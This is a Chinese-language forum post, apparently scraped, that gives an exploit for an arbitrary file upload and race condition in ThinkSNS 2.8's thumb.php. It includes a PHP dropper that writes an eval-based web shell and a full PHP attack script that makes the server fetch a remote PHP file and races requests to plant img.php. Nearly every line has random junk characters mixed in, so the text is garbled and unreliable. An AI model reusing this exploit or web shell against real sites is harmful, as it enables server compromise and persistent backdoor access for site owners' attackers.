漏洞版本
( w& ]2 b3 {3 d* `4 o存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
5 F# } d) U" ^+ I- ?3 J漏洞文件' L9 K5 |+ V# I* @+ _ z
存在漏洞的文件为:thumb.php
9 s( f) [# y0 c F# O作者:韦鲲鹏* r: V, ^7 p8 `" i# V: t
1、 准备如下PHP文件并上传到服务器(自己的)。
: V6 m" A. e/ k- H- v: A" D文件内容如下:2 g; V8 I, U/ |6 ^. N
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
6 D) _: k! G1 F% m) C2、 计算出临时的文件名:
4 o% t/ _: p" x这里我们可以看文件的99行(刚刚是不是没注意呀!)。
7 t; ?9 v; @$ ]3 F4 \3 i4 W5 Y
6 Y/ g! b* s; a( _9 g5 Y3、 上传临时文件。; h; W( l2 u) t H2 {, z
4、 访问临时文件。
- ^, y, N5 L+ m$ K但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
% k7 g; r& ~# ? F |7 c* dExploit文件内容如下:(这个我就不详细解释了), }( {3 K9 V+ D
<?php% q0 U- e. P, W) @, k
error_reporting(0);* k" `5 F1 i4 q" {. I
set_time_limit(0);
: h) _3 ~2 R: H( }; Wini_set(“default_socket_timeout”, 5);- n% h& [+ b G+ c
function http_send($host, $port, $headers) {
- G* ?% t) H0 J7 O: r& `0 J$fp = fsockopen($host, $port);, Y' O) }3 C' i
if (!$fp) die(‘Connection -> fail’);& `$ B4 [8 M7 o0 E0 {5 x
fputs($fp, $headers);
" L+ H" v; O" I, r3 Qreturn $fp;3 z9 l# t% l1 d3 }6 K( L- v
}4 U+ f2 f. k: M h) @5 m
function http_recv($fp) {! q' W! V8 n# i* K
$ret=”";
8 P% o5 ~& }, d( Hwhile (!feof($fp))
# I( e7 v$ x# [6 e9 Y7 Q! T$ret.= fgets($fp, 1024);
7 g7 o5 Y5 H5 Cfclose($fp);
! t& k# o8 G [0 p: K, Breturn $ret;
2 b% t, n0 d; ?2 g' T' B4 w( y}
4 P# d5 h" L& [. _9 E' d7 q! Xprint “\n# ThinkSns Arbitrary File Upload #\n”;
1 m# P. `/ S% q: K& W' _) Vprint “# Discovered by 韦鲲鹏 #\n\n”;
2 @! ]; T1 g" q7 q+ C hif ($argc < 4) {/ ^$ ?$ m" j5 o8 w/ _$ M3 E& ?
print “Usage: php <host> <path> <romote_url>\n”;; V1 f# N5 E8 [' j- ^
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;- o: h2 F2 V/ X" [8 L( R" l) ]
die();3 v8 m* Q+ F i$ C/ ]$ g7 h
}
1 U% n, B* k/ m# m$host = $argv[1];
0 w+ W6 z3 V# ?- A9 a$path = $argv[2];
) q" |# s! P0 o+ k7 c$url = $argv[3];
% `" Q+ ~1 k8 x% I9 K7 |$i=0;
" [0 H$ O$ q5 R* n' z" Z( J# M- M//上传数据包. [4 H; |9 l3 y3 n& B! o
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
8 G# m1 u- E, A6 Y+ \$headers_up .= “Host: “.$host.”\r\n”;
' q _( u# C1 q8 j; j0 K! c P$headers_up .= “Connection: close\r\n\r\n”;' f4 {* K) g5 M5 J' ?
echo $headers_up;. k+ s7 X S0 A- E
//临时文件访问数据包
* M- `" m0 `* f$ l" y2 o$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
( X. Z# N( \7 }9 t$headers .= “Host: “.$host.”\r\n”;
; j. H* T5 c$ A% I, P$headers .= “Connection: close\r\n\r\n”;
# p8 K0 w+ s+ \/ Xecho $headers;; w4 T; t" M, C$ _2 ^
while(++$i<10) {
% A/ v; I( h" C# n0 L" afclose(http_send($host, 80, $headers));
. ], S3 h" O8 h0 W- e t% f}
; F" B; J& |; @6 k! P5 {" Jfclose(http_send($host, 80, $headers_up));6 H. P% o m' }; u
while(++$i<50) {9 g/ S e. Z" d3 H4 E Y* n
fclose(http_send($host, 80, $headers));; L* M9 C: F) `$ H; h9 H
}
* Q+ X8 }$ A% X* n/ i$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;0 U' ?2 x4 `6 @6 b7 k, E
$headers .= “Host: “.$host.”\r\n”;
4 b( W u- i) q6 r7 H: y$headers .= “Connection: close\r\n\r\n”;
3 T6 K) S9 Z* r2 q, ~4 f$res=http_recv(http_send($host, 80, $headers));: e9 |4 b9 A9 X M5 j
if(preg_match(‘/200 OK/’,$res)) {
4 P, l9 l4 p6 @1 x/ u I7 eprint “Success!\n\n”;7 h P/ ?% J1 V7 ] [) o) a' V
} else {
2 v4 U2 D7 R: Z; ^4 R5 q) |+ cprint “Fail!\n\n”;
; J' A/ V9 e* L+ w% E1 O}& e% I" f) a5 i" a
?>8 O5 z4 r) C z5 A4 g2 c
|